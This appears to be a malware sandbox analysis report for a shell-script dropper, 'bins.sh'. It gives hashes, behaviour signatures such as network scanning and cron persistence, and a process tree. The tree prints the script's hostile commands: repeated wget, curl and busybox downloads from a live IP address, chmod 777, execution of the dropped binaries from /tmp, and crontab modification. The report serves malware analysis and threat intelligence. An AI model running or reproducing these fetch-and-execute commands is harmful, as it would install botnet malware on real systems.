Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05-11-2024 00:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3dab97248ad8ec9b82bf014cef55938f

  • SHA1

    357849b7a1f1036e07e0f6beae4e71ac80dfeb83

  • SHA256

    12445e75c892094ed968bf9c0a248a1f9e29fceff07f44755fc8ceebcb3e4e37

  • SHA512

    9e8525a46d5ce674e4cb17c0e023143691ef3aa3ffae1b8a3634dd1182fc459367b4fadd42eb35d5992923415fd93fab7b28b9152d00d36df38cda0178a93f80

  • SSDEEP

    192:GF/o26qhFEQuuY9BFy8QzV76qhFEQsBFy8QzDn/Q:Gi26qnEQuuYPM6qnEQ2x

Malware Config

Signatures

  • Contacts a large (2078) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1515
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1516
        • /usr/bin/wget
          wget http://87.120.84.230/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:1517
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:1521
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /bin/chmod
          chmod 777 sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • File and Directory Permissions Modification
          PID:1523
        • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          ./sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Executes dropped EXE
          PID:1524
        • /bin/rm
          rm sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
            PID:1526
          • /usr/bin/wget
            wget http://87.120.84.230/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:1529
          • /bin/chmod
            chmod 777 zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • File and Directory Permissions Modification
            PID:1530
          • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            ./zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Executes dropped EXE
            PID:1531
          • /bin/rm
            rm zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
              PID:1533
            • /usr/bin/wget
              wget http://87.120.84.230/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Writes file to tmp directory
              PID:1534
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Writes file to tmp directory
              PID:1535
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Writes file to tmp directory
              PID:1536
            • /bin/chmod
              chmod 777 XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • File and Directory Permissions Modification
              PID:1537
            • /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              ./XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Executes dropped EXE
              PID:1538
            • /bin/rm
              rm XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
                PID:1540
              • /usr/bin/wget
                wget http://87.120.84.230/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • Writes file to tmp directory
                PID:1541
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • Writes file to tmp directory
                PID:1542
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • Writes file to tmp directory
                PID:1543
              • /bin/chmod
                chmod 777 MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • File and Directory Permissions Modification
                PID:1544
              • /tmp/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                ./MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • Executes dropped EXE
                PID:1545
              • /bin/rm
                rm MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                  PID:1547
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • Writes file to tmp directory
                  PID:1548
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • Writes file to tmp directory
                  PID:1549
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • Writes file to tmp directory
                  PID:1550
                • /bin/chmod
                  chmod 777 TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1551
                • /tmp/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  ./TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • Executes dropped EXE
                  PID:1552
                • /bin/rm
                  rm TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                    PID:1554
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • Writes file to tmp directory
                    PID:1555
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • Writes file to tmp directory
                    PID:1556
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • Writes file to tmp directory
                    PID:1557
                  • /bin/chmod
                    chmod 777 jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1558
                  • /tmp/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    ./jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • Executes dropped EXE
                    PID:1559
                  • /bin/rm
                    rm jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                      PID:1561
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • Writes file to tmp directory
                      PID:1562
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • Writes file to tmp directory
                      PID:1563
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • Writes file to tmp directory
                      PID:1564
                    • /bin/chmod
                      chmod 777 PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1565
                    • /tmp/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      ./PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1566
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1568
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1569
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1570
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1571
                          • /bin/rm
                            rm PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                            2⤵
                              PID:1573
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/yrH8pHqGTJHEaZq0VcF9NLtHOFfqt3mYoW
                              2⤵
                                PID:1576
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/yrH8pHqGTJHEaZq0VcF9NLtHOFfqt3mYoW
                                2⤵
                                  PID:1577

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /var/spool/cron/crontabs/tmp.k1rNEf

                                Filesize

                                210B

                                MD5

                                16e2666c1f36674ce85ad7361b51d4b5

                                SHA1

                                19bde163e04a6827427011df2a806758a859e6a1

                                SHA256

                                91782812cedba2b757586d929bb69ef4c93681b3823a2a7362f10ca7e98fdb1f

                                SHA512

                                f399c1dc9fc42552c89c754a4b6cae4f23ca201657f85fcb91b41dfc4f0ab0a241151da5792320b9284b7cfbadf4d2e7bd2bf838dccdea1db549d6cae3d174bb